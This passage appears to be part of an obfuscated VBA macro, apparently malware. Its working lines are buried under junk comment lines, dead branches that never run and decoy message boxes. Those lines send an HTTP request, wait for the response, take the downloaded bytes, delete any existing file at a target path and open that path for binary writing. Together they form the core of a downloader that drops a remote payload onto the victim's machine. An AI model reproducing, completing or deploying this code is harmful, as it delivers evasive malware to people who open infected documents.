  321. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  322. If Len("vKbtXWfo5535") = Len("NxeltlDH") Then
  323. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  324.  
  325. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  326. GoTo NHxWsBJl
  327. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  328. Dim LudYeyyC As String
  329. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  330. Open "BFPFWN.BSQ" For Binary As 81
  331. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  332. Put #81, , LudYeyyC
  333. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  334. Close #81
  335. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  336. NHxWsBJl:
  337. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  338.  
  339. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  340. MsgBox ("Error !!!")
  341. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  342. End If
  343. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  344.  
  345. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  346. GoTo OGnEAggW
  347. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  348. Dim vbIaebFE As String
  349. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  350. Open "GVWVWP.GWW" For Binary As 44
  351. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  352. Put #44, , vbIaebFE
  353. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  354. Close #44
  355. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  356. OGnEAggW:
  357. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  358.  
  359. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  360. NGWMKXGHKCH.Send
  361. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  362.  
  363. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  364. Do While NGWMKXGHKCH.readyState <> 4
  365. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  366. If 695695 = 695695 + 1 Then End
  367. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  368. If 9911 < 93 Then
  369. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  370.  
  371. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  372. GoTo ViVFhHiL
  373. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  374. Dim ZeToZqNP As String
  375. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  376. Open "JSMZIE.NRK" For Binary As 59
  377. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  378. Put #59, , ZeToZqNP
  379. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  380. Close #59
  381. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  382. ViVFhHiL:
  383. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  384.  
  385. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  386. MsgBox ("UoXyJFFF47")
  387. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  388. End If
  389. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  390. If Len("gvNrNuPu1762") = Len("oJvOMdCm") Then
  391. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  392.  
  393. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  394. GoTo fgjkIbGW
  395. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  396. Dim LqVSWMUS As String
  397. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  398. Open "BHEJJW.BDR" For Binary As 82
  399. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  400. Put #82, , LqVSWMUS
  401. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  402. Close #82
  403. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  404. fgjkIbGW:
  405. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  406.  
  407. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  408. MsgBox ("Error !!!")
  409. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  410. End If
  411. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  412.  
  413. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  414. GoTo wlbIpmRy
  415. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  416. Dim aguecGwC As String
  417. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  418. Open "PZSUMQ.EGI" For Binary As 36
  419. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  420. Put #36, , aguecGwC
  421. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  422. Close #36
  423. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  424. wlbIpmRy:
  425. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  426.  
  427. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  428. DoEvents
  429. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  430.  
  431. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  432. If 978485 = 978485 + 1 Then End
  433. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  434. If 5897 < 89 Then
  435. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  436.  
  437. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  438. GoTo EcTqWdrv
  439. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  440. Dim xFxXQllz As String
  441. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  442. Open "FTGWSU.FZG" For Binary As 47
  443. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  444. Put #47, , xFxXQllz
  445. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  446. Close #47
  447. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  448. EcTqWdrv:
  449. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  450.  
  451. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  452. MsgBox ("hSugxuSs13")
  453. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  454. End If
  455. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  456. If Len("MkJSzZny6648") = Len("ibsOYgAa") Then
  457. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  458.  
  459. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  460. GoTo snjmsbTz
  461. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  462. Dim JwBGbMcM As String
  463. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  464. Open "VWEKYW.IFA" For Binary As 83
  465. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  466. Put #83, , JwBGbMcM
  467. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  468. Close #83
  469. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  470. snjmsbTz:
  471. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  472.  
  473. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  474. MsgBox ("Error !!!")
  475. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  476. End If
  477. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  478.  
  479. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  480. GoTo RlBFeqzr
  481. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  482. Dim pfUohTLX As String
  483. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  484. Open "UKMZAD.JPL" For Binary As 22
  485. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  486. Put #22, , pfUohTLX
  487. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  488. Close #22
  489. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  490. RlBFeqzr:
  491. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  492.  
  493. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  494. Loop
  495. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  496.  
  497. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  498.  
  499. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  500. If 396331 = 396331 + 1 Then End
  501. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  502. If 4514 < 38 Then
  503. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  504.  
  505. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  506. GoTo SZItruqP
  507. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  508. Dim jchnjAzZ As String
  509. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  510. Open "QXSPZQ.QMS" For Binary As 34
  511. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  512. Put #34, , jchnjAzZ
  513. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  514. Close #34
  515. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  516. SZItruqP:
  517. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  518.  
  519. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  520. MsgBox ("zSKcElFR73")
  521. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  522. End If
  523. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  524. If Len("OzWwSQPC5355") = Len("RwlaTHCq") Then
  525. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  526.  
  527. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  528. GoTo ysthMbDo
  529. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  530. Dim QuDPuMRa As String
  531. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  532. Open "ZBZVSF.QJN" For Binary As 95
  533. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  534. Put #95, , QuDPuMRa
  535. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  536. Close #95
  537. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  538. ysthMbDo:
  539. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  540.  
  541. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  542. MsgBox ("Error !!!")
  543. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  544. End If
  545. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  546.  
  547. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  548. GoTo BBIavTKA
  549. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  550. Dim KhbQgSut As String
  551. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  552. Open "BKJHAJ.IQG" For Binary As 82
  553. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  554. Put #82, , KhbQgSut
  555. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  556. Close #82
  557. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  558. BBIavTKA:
  559. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  560.  
  561. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  562. ITCKXLQBSWF = NGWMKXGHKCH.responseBody
  563. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  564.  
  565. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  566.  
  567. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  568. If 168579 = 168579 + 1 Then End
  569. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  570. If 8168 < 46 Then
  571. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  572.  
  573. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  574. GoTo IBOVUNXT
  575. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  576. Dim dMklMmDx As String
  577. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  578. Open "OIDUJI.OTD" For Binary As 28
  579. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  580. Put #28, , dMklMmDx
  581. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  582. Close #28
  583. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  584. IBOVUNXT:
  585. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  586.  
  587. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  588. MsgBox ("bYykqVFc98")
  589. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  590. End If
  591. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  592. If Len("oYEJCgLf2332") = Len("PpyrtDkM") Then
  593. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  594.  
  595. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  596. GoTo dxUuVcdb
  597. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  598. Dim KkgZqLtk As String
  599. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  600. Open "VMQQBM.ISP" For Binary As 83
  601. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  602. Put #83, , KkgZqLtk
  603. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  604. Close #83
  605. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  606. dxUuVcdb:
  607. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  608.  
  609. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  610. MsgBox ("Error !!!")
  611. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  612. End If
  613. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  614.  
  615. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  616. GoTo BCHwQcTc
  617. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  618. Dim RLvJVKxh As String
  619. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  620. Open "KUHLKM.IPL" For Binary As 57
  621. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  622. Put #57, , RLvJVKxh
  623. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  624. Close #57
  625. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  626. BCHwQcTc:
  627. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  628.  
  629. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  630. IZFFIKFVETZ = FreeFile
  631. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  632.  
  633. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  634. If Dir(SDIMZSIUEHO) <> "" Then Kill SDIMZSIUEHO
  635. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  636. Open SDIMZSIUEHO For Binary As #IZFFIKFVETZ
  637. 'kbePPoAnqkCVspTytCxSbnCeYPghNOrqezvLkyMbFzjAdFFpOCPTPxyUOIIhVVlQgKJeEXvNoTPvggWF
  638. If 857922 = 857922 + 1 Then End
